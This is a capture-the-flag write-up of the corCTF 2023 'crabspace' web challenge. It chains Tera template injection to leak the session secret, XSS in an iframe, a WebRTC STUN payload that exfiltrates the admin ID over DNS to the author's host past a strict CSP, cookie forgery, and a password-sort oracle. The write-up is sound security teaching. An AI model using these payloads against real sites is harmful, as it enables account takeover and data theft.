Tags: ssti web csp webrtc rust
Rating:
It was a team effort for us to solve this challenge. I learned something new about WebRTC.
## Solution summary
- SSTI in `Tera::one_off` to leak secret
- WebRTC to bypass CSP restrictions and exfiltrate admin user id
- Forge admin cookie with admin user id and secret to gain access to admin view
- Follow admin account and sort following accounts on password field to leak admin password (which is the flag)
## crabspace
- Description:
> Now that Twitter is ? gone ?, it's time for a new social media platform.
??????????????????
- Author: Strellic
The source code is provided. I can create users, edit my "space", view other users' "space"s, and follow other users.
![crabspace](https://www.cjxol.com//assets/image/corctf-2023-crabspace-web-writeup/crabspace.png)
To view a user's "space", visit `/space/<user id>`, The user id is UUIDv4 generated when the user is created. The "space" content is rendered in an `iframe`, with the content in the `iframe`'s `srcdoc` attribute.
```html
<iframe sandbox="allow-scripts"
srcdoc="<link rel='stylesheet' href='/public/axist.min.css' />{{ space }}" class="space"></iframe>
```
With content in `srcdoc`, it is rendered as HTML in the `iframe` even it is escaped in the template, thus we have an easy(?) XSS.
The users are defined as a struct as shown below and stored in a map.
```rust
#[derive(Debug, Serialize, Clone)]
pub struct User {
pub id: Uuid,
pub name: String,
pub pass: String,
pub following: Vec<Uuid>,
pub followers: Vec<Uuid>,
pub space: String,
}
```
The admin user with flag as the password, and a random ID is created on starting of the application.
The bot first logs in as admin, then visit an URL we provide.
## Finding SSTI
Initially it was not clear how we can get the flag from what is obvious. While I was on the train I read the source code twice and with the help of [documentation](https://docs.rs/tera/latest/tera/struct.Tera.html#method.one_off) I found the `one_off` function in Tera when rendering "space" page is a bit suspicious.
```rust
ctx.tera.insert(
"space",
&Tera::one_off(&user.space, &ctx.tera, true).unwrap_or_else(|_| user.space.clone()),
);
ctx.tera.insert("id", &id;;
utils::render(tera, "space.html", ctx.tera).into_response()
```
![one_off is used in the code.](https://www.cjxol.com//assets/image/corctf-2023-crabspace-web-writeup/one-off.png)
The code takes the user's "space" as template and renders it. Tera templates documentation can be found at <https://tera.netlify.app/docs/#templates>.
When I printed out the template context with `{{ __tera_context }}`, I got:
```
{ "user": { "followers": [], "following": [], "id": "af787749-d532-4d37-94a6-2d6bc4201f63", "name": "lollol", "pass": "", "space": "{{ __tera_context }}" } }
```
The context includes the user struct, which includes the ID of the logged in user. However, the password is set to empty string when the context is created:
```rust
user = USERS.get(&id).map(|v| User {
pass: "".to_string(),
..v.clone()
});
```
We can use SSTI to leak the secret for session cookie with `{{ get_env(name="SECRET") }}`. With the secret and the user ID of admin, we can forge a session cookie to login as admin.
## Leak admin user ID
With the SSIT which can render the user ID and XSS, leaking the admin user ID should be easy right? However, with the very strict fetch directive CSP below, we tried including fetch API, WebSocket, meta tag and JS redirect, form and DNS prefetch, but had no luck exfiltrating the data. I could not find any endpoint on within the challenge that I could use style-src to exfiltrate the data neither.
```
default-src 'none'; style-src 'self'; script-src 'unsafe-inline'; frame-ancestors 'none'
```
I then reading through all non-fetch directives in CSP, and some research. While getting ready to go to bed, thinking about all the cases where a webpage makes request to server, WebRTC came to my mind (I have also noticed [a very new TR about WebRTC](https://www.w3.org/TR/webrtc-nv-use-cases/), which may or may not be related). As I do not know much about WebRTC, I put a message on our Discord channel before I went to bed.
The next morning, I started with some WebRTC examples. The payload is limited to only 200 characters, with some trial and error, I managed to craft a minimal payload that would do DNS request for the STUN server I specify (the payload has been modified to be more readable):
```html
<script>
async function a(){
c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]}
(p=new RTCPeerConnection(c)).createDataChannel("d")
await p.setLocalDescription()
}
a();
</script>
```
The port does not matter, as we are exfiltrating through DNS request. The user ID is included in the hostname and sent through DNS request.
## Getting the flag
The admin account has access to admin view for each user (except admin itself). The admin view has the lists of followers and followings of the user. The lists are sorted with field specified in the URL query parameter. It is possible to sort by password field using `?sort=pass`.
We can have a main account to follow other users. We can then create a list of users with selected password, and follow them along with admin on our main account. The admin view for the main account will have the list of users sorted by password, and we can get the flag character by character. This can be scripted with preparing the whole following list and get one character each time we visit the admin view, or can script with binary search. (This is kinda pain to extract the flag, thanks to my teammate implemented the solution.)
Got the flag ?:
```
corctf{b3tter_name_th4n_x}
```